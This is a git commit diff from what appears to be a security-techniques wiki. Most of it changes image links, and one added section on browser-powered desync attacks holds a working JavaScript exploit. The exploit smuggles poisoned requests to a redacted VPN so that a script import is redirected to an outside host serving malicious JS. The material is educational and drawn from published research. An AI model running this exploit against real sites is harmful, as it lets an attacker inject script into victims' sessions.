GitBook: [#3421] No subject
Before Width: | Height: | Size: 5.6 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 5.6 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 74 KiB |
BIN
.gitbook/assets/image (158) (1).png
Normal file
After Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 16 KiB |
|
@ -30,7 +30,7 @@ You can **select the architecture** inside Visual Studio in the **left "Build" T
|
|||
|
||||
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1).png>)
|
||||
![](<../.gitbook/assets/image (1) (2).png>)
|
||||
|
||||
## Prepare the Backdoor
|
||||
|
||||
|
|
|
@ -102,7 +102,7 @@ This method is very noisy because you have to create a hole new project (obvious
|
|||
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
![](<../.gitbook/assets/image (158).png>)
|
||||
![](<../.gitbook/assets/image (158) (1).png>)
|
||||
|
||||
Or **try to access to the path \_/configure**\_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
|
||||
|
||||
|
|
|
@ -49,7 +49,7 @@ Secondly, the request must be **triggerable in a web-browser cross-domain**. Bro
|
|||
|
||||
The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (2).png>)
|
||||
![](<../../.gitbook/assets/image (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
|
||||
|
@ -83,7 +83,7 @@ I've set the fetch mode **'no-cors'** to ensure Chrome **displays the connection
|
|||
|
||||
When you execute this, you should see **two requests** in the Network tab with the **same connection ID**, and the **second** one should trigger a **404**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1).png>)
|
||||
![](<../../.gitbook/assets/image (158).png>)
|
||||
|
||||
If this works as expected, congratulations - you've found yourself a client-side desync!
|
||||
|
||||
|
@ -191,6 +191,65 @@ fetch('https://www.verisign.com/%2f', {
|
|||
* Then, the user sends a POST whose body contains the **end chunk of the the previous HEAD** request and a **new request that is smuggled** with **content** (the JS payload) that will be **reflected** in the response.
|
||||
* Therefore the browser will treat the **response to the HEAD** request as the **response to the POST request** which will also **contains** in the **body** response that **reflects** the **input** of the user in the second smuggled request.
|
||||
|
||||
### Host header redirect + RC
|
||||
|
||||
* **JS Exploit**
|
||||
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'})
|
||||
.then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
|
||||
In this case, again, there is a **host header** **redirect** that could be used to **hijack** a **JS** import. However, this time the **redirect isn't cacheable**, so client-side **cache** **poisoning** isn't an option.
|
||||
|
||||
Therefore, the attack performed will make the **victim access the vulnerable page** in a tab and then, just **before** the page tries to **load a JS** file, **poison** the socket **smuggling connections** (3 in this case).\
|
||||
Because the **timing** has to be extremely **precise**, the attack is performed against a **new tab on each iteration** until it works.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Keep in mind that in this case `/meeting_testjs.cgi` was attacked because it **loads** a **Javascript** that is responding with a **404**, so it's not cached. In other scenarios where you try to attack a **JS that is cached** you need to wait for it to **disappear from the cache** before launching a new attack.
|
||||
{% endhint %}
|
||||
|
||||
Summary steps:
|
||||
|
||||
* Open a new window.
|
||||
* Issue a harmless request to the target to establish a fresh connection, making timings more consistent.
|
||||
* Navigate the window to the target page at /meeting\_testjs.cgi.
|
||||
* 120ms later, create three poisoned connections using the redirect gadget.
|
||||
* 5ms later, while rendering /meeting\_testjs.cgi the victim will hopefully attempt to import /appletRedirect.js and get redirected to x.psres.net, which serves up malicious JS.
|
||||
* If not, retry the attack.
|
||||
|
||||
## Pause-based desync <a href="#pause" id="pause"></a>
|
||||
|
||||
\
|
||||
|
||||
|
||||
## **References**
|
||||
|
||||
* All the information of this post was taken from [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
|